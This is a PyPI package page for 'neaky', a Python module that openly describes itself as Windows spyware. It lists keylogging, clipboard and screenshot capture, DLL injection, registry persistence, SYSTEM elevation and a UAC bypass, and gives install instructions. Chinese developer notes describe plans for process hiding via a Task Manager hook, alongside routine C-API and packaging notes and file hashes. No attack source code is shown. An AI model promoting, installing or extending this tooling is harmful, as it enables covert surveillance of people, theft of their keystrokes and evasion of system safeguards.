A python native module providing some spyware function on Windows.
Project description
Neaky
Make python a Windows spyware.
features:
- clipboard - get clipboard content.
- screenshot - save screenshot to path
- remote_dll_injection, get_pid_by_name, get_pids_by_name
- set_startup_reg, delete_startup_reg - add startup registry key.
- keylog_stdout, keylog_to_file, keylog_stop - keylogging by rawinput
- elevate_self, elevated_execute - elevate from admin to system
- bypass_uac_exec - elevate from uac restricted token to full token
example
see test/
keylogger
keylogger requires a message loop on main thread, so when finishing initiliaze, it's required to call neaky.message_loop()
to start keylogging, which normally will not return and cannot be terminated by Exceptions like Ctrl-C. you have to do other stuffs by creating another thread. See test/keylog_raw_file
as an example. To stop, use task manager to end task.
when stopping raw input keylogger, message loop will return. Which will result in main thread exiting if there is not code after message_loop in main thread. This is because raw input keylogger creates a invisible window, when the keylogger stops, it destroys the window.
install
pip install neaky
build
(on Windows)
python ./setup.py build
add module to pythonpath
import sys
sys.path.append(r"C:\Users\warren\d\pyNeaky\pyneaky\build\lib.win-amd64-3.9")
目标
原本该模块是作为一个c语言dll存在,通过判断被植入的exe,单个dll实现各种不同功能,包括注入到任务管理器实现进程隐藏,启动时自动提权到能提权的最高程度等等,通过rundll32.exe启动从而勉强算是有微软签名的程序。这些都是作为dll的优点,然而如果作为python的拓展,则必须依附于python.exe。因此这里只提供部分功能,上述功能的实现考虑通过编写另外的dll,利用本拓展提供的dll注入功能注入。
-
一个独立的hook进程信息的dll - taskmgr-hook
-
一个提权小dll,用python CFFI 调用, 用于先提权后执行命令, 方便双重提权,控制台控制是bypass uac,system还是组合。
笔记
Coding Patterns for Python Extensions 这本书不错
-
如何为函数增加参数相关的注释?
https://stackoverflow.com/questions/38818400/specifying-python-function-signature-in-c-api https://stackoverflow.com/questions/1104823/python-c-extension-method-signatures-for-documentation/41245451#41245451 例子 而模块的注释:
-
操作list
-
异常处理
PyErr_SetString(PyExc_RuntimeError, "Can not create default value for " #name);
或者通过
PyErr_NewException
创建Exception子类作为第一个参数。例子 -
PyArg_ParseTuple相关处理
-
str转wchar
由于u参数是Deprecated,首先利用
PyArg_ParseTuple
的U参数获取字符串,PyUnicode_AsWideCharString
再转成wchar,最后PyMem_Free()
。PyObject * neaky_screenshot(PyObject *self, PyObject *args) { PyObject *path_obj; if (!PyArg_ParseTuple(args, "U", &path_obj)) { return NULL; } const Py_UNICODE *path = PyUnicode_AsWideCharString(path_obj, NULL); ScreenShotSave(path); // do something PyMem_Free(path); Py_RETURN_NONE; }
-
path相关
放弃了,还是和1一样,当普通的字符转wchar吧。文档虽然推荐使用PyUnicode_FSConverter函数,但是转换出来的bytes不是wchar这种utf-16类型的,估计还需要一次MultiByteToWideChar转换。这个函数本意是更robust的转义?
python文档推荐使用O&的转换器函数方式
PyObject *path = NULL; PyArg_ParseTuple(args, "O&", PyUnicode_FSConverter, &path); const char * path_ptr = PyBytes_AsString(path); // internal buffer
普通的方式:
PyObject *filename_obj = Py_None, *filename_bytes; if (!PyArg_ParseTuple(args, "i|O:append_history_file", &nelements, &filename_obj)) return NULL; if (!PyUnicode_FSConverter(filename_obj, &filename_bytes)) return NULL;
-
-
字符串相关
在setup.py中定义使用wide的windows api。
define_macros=[("UNICODE", None)]
内部,get_system部分的错误处理目前还是使用char*,直接调用PyErr_SetString。
但是似乎和python解释器协作起来,如果还是使用wide的print,在控制台就字符变宽两倍,vscode终端内正常。
-
流程
- 增加函数实现
- 增加文档,注册到module
-
pypi初尝
增加了pyproject.toml。另外MANIFEST.in也是必不可少的,因为默认只会包含setup.py内的source文件,因此所有的头文件都必须手动包含到sdist里。
pypi似乎不管包内规范,似乎其实就是负责分发源码包和whl。下载build的结果,放到dist文件夹,首先
check-wheel-contents ./dist
,twine check dist/*
检测一下。没有问题后先上传到testpypi看看:
twine upload --repository testpypi dist/* ````
下载下来试试
```cmd
python -m pip install --index-url https://test.pypi.org/simple/ neaky python -m pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple neaky
最后上传到真正的pypi仓库!!
twine upload dist/*
```
一个残忍的现实是,一旦上传了某个版本到pypi,就无法再覆盖了,它将永远占用该版本号。可以通过增加build tag(如从1.0.0变为1.0.0-1)(似乎只需要重命名whl?)的方法。而且`Only one sdist may be uploaded per release.` sdist无法通过build tag的方式重新上传。
总之上传起来还是要慎重。感受到了什么是版本发布了。
-
python docstring
python的docstring是基于reStructuredText ,并且使用了Sphinx工具集拓展了一些功能。
docstring内联代码 Sphinx相关语法 docstring formats on stackoverflow 我使用三个反引号注明python的markdown代码块可以用,似乎vscode还是通过markdown渲染的,而并不是支持推荐的docstring写法。。。因此有时只插入一个换行会导致没有换行。
此外似乎vscode会把正文中第一对括号识别成参数。。。
Computes the distance from the origin to the point (x, y) :param x: the point's x-coordinate :param y: the point's y-coordinate :return: number. the distance from (0, 0) to the point (x, y)
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distributions
File details
Details for the file neaky-1.0.0.tar.gz
.
File metadata
- Download URL: neaky-1.0.0.tar.gz
- Upload date:
- Size: 27.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | b076cb4cb4e689e56ab0b4cb9461b61c29f4f375f229d121d0ec3a7f15c158bb |
|
MD5 | 5122e744dc656c6e951a9c7804bcc52b |
|
BLAKE2b-256 | 8e5f4ec82468554adddb119e4252eb306753d4a243a639c500176501cda74a1f |
File details
Details for the file neaky-1.0.0-pp37-pypy37_pp73-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-pp37-pypy37_pp73-win32.whl
- Upload date:
- Size: 26.1 kB
- Tags: PyPy, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 7d7f04585a3ba7f772e17496f5698147ee99833d4aafdd7301d397dd695e1c60 |
|
MD5 | 402811b59bb2f3b2ac3b10566f14cbb1 |
|
BLAKE2b-256 | 4538918e909ca0d47f633544ef250bf68a20bd47a9298f3fe83adb42032867ab |
File details
Details for the file neaky-1.0.0-pp36-pypy36_pp73-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-pp36-pypy36_pp73-win32.whl
- Upload date:
- Size: 26.1 kB
- Tags: PyPy, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | e99d6c81ccd63f0c5c15373f07d3ddcc816c1902b4a4c9a6599766dafa0331cf |
|
MD5 | 97fd376871c4890110b25f5abbcda5bd |
|
BLAKE2b-256 | bd04637069d5f7e85c87483934f424ef75041bbe2bb627cbd4471354c96de3b0 |
File details
Details for the file neaky-1.0.0-cp39-cp39-win_amd64.whl
.
File metadata
- Download URL: neaky-1.0.0-cp39-cp39-win_amd64.whl
- Upload date:
- Size: 29.2 kB
- Tags: CPython 3.9, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 104db12c8e86ab3284540e84e0fe999a7eb9eff40c80678f8427dd443239a342 |
|
MD5 | d61ad887dc3813080bb357c3158e3df2 |
|
BLAKE2b-256 | 7bfafc115a13d2998a9fe9fa98cef4289e4d5ccf7dd85ce7db7d74128739c46a |
File details
Details for the file neaky-1.0.0-cp39-cp39-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-cp39-cp39-win32.whl
- Upload date:
- Size: 26.1 kB
- Tags: CPython 3.9, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 7cf5fb7f194f52d147fc4ba3f841697d01b787d5aad932a681569e2cae8a2e61 |
|
MD5 | 0296a8e82156854a8a63111bbac6b3e9 |
|
BLAKE2b-256 | a37e01503d3afbff07669fb2393b45d0f6a8e889bd871a97fbef4664223a13b4 |
File details
Details for the file neaky-1.0.0-cp38-cp38-win_amd64.whl
.
File metadata
- Download URL: neaky-1.0.0-cp38-cp38-win_amd64.whl
- Upload date:
- Size: 29.3 kB
- Tags: CPython 3.8, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | b0b2fda9ae17bce939545cf49403428787a83d5f0a7e9529a36d0ead62137bbd |
|
MD5 | f96173ce57f923a9d9d49aca62d15ac0 |
|
BLAKE2b-256 | 2fe9a92abcc2322a21ca23dcedf376684a1fba01c3ee2f4939e495b94c0070ec |
File details
Details for the file neaky-1.0.0-cp38-cp38-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-cp38-cp38-win32.whl
- Upload date:
- Size: 26.2 kB
- Tags: CPython 3.8, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 42fd6eb1784c511100c5b813fd405640f136c0d4caa5a58e403dab7727bf61bb |
|
MD5 | 93040982ee0c9542c5a901dcc69e19cb |
|
BLAKE2b-256 | 3a60b1c6f0b25da179c533ee74667691493e9e3cd51a4d96809a4399199b9d90 |
File details
Details for the file neaky-1.0.0-cp37-cp37m-win_amd64.whl
.
File metadata
- Download URL: neaky-1.0.0-cp37-cp37m-win_amd64.whl
- Upload date:
- Size: 29.1 kB
- Tags: CPython 3.7m, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | fd8064a0631c5385d9ac43c1f5c2fe8c732c21b3f89584ac8fa07214eab631fa |
|
MD5 | 53f14143f0a4493db7bbad68697588b8 |
|
BLAKE2b-256 | bd3907eebd98d21dc28b29996b8136f0a16d6cae6c95240d7b8072feddd1a583 |
File details
Details for the file neaky-1.0.0-cp37-cp37m-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-cp37-cp37m-win32.whl
- Upload date:
- Size: 26.1 kB
- Tags: CPython 3.7m, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 1c9bf9a0df89c789c3c20e364bdea1898f4dd845685cb59fb04263f39a44f6f6 |
|
MD5 | 04c45f56bd8c1be53c46f23e88c4b020 |
|
BLAKE2b-256 | 1188537eff19993990a3e68067ea2475df3eb7ef21d37f3bbf31b0d09be13612 |
File details
Details for the file neaky-1.0.0-cp36-cp36m-win_amd64.whl
.
File metadata
- Download URL: neaky-1.0.0-cp36-cp36m-win_amd64.whl
- Upload date:
- Size: 29.1 kB
- Tags: CPython 3.6m, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | ecad6c741c0c8b5e5b4e0200da400a3cf780533307eb7168f24b212abb60bd09 |
|
MD5 | 0105b0213b418af5b718468aa2235224 |
|
BLAKE2b-256 | d44d1a4ff825031925db76b34ccb8cb6a94124cdc6949094fd6c6559e3da28b1 |
File details
Details for the file neaky-1.0.0-cp36-cp36m-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-cp36-cp36m-win32.whl
- Upload date:
- Size: 26.1 kB
- Tags: CPython 3.6m, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 298b3672981fb335f8fe2e4a6d6184e8541f55d72107c8bdde9837af4cf33099 |
|
MD5 | 7c5b6cf012ea16e3126c13073142c46d |
|
BLAKE2b-256 | dcda04fde28a3c823dff1b41d1ef59f0f94d12f36d0c05ba803bd9546c9d8291 |
File details
Details for the file neaky-1.0.0-cp35-cp35m-win_amd64.whl
.
File metadata
- Download URL: neaky-1.0.0-cp35-cp35m-win_amd64.whl
- Upload date:
- Size: 29.1 kB
- Tags: CPython 3.5m, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 42c5e07a1e3cc55b67c4e24d1605e34e3eedb61d4238177458fb978e40364d11 |
|
MD5 | e8852ec50dc89a03b64b998e7add80fb |
|
BLAKE2b-256 | 7a9f9d38346b67c952d45108f61b1d2f8d850df6d0e70ba874e2135d40661291 |
File details
Details for the file neaky-1.0.0-cp35-cp35m-win32.whl
.
File metadata
- Download URL: neaky-1.0.0-cp35-cp35m-win32.whl
- Upload date:
- Size: 26.1 kB
- Tags: CPython 3.5m, Windows x86
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.3.0 pkginfo/1.7.0 requests/2.25.1 setuptools/53.1.0 requests-toolbelt/0.9.1 tqdm/4.58.0 CPython/3.9.0
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 0adb2d68e8593405c046dbd198278a5ba81f51c54d063f7b6d8ed09ff8bed16e |
|
MD5 | 6da91d511bf10f43d55b5fa136c31399 |
|
BLAKE2b-256 | 8b69c1a8d76ccf13cbf0575ba6cfbdf36de10a76cf20056c2f8f4aa5dd58e89a |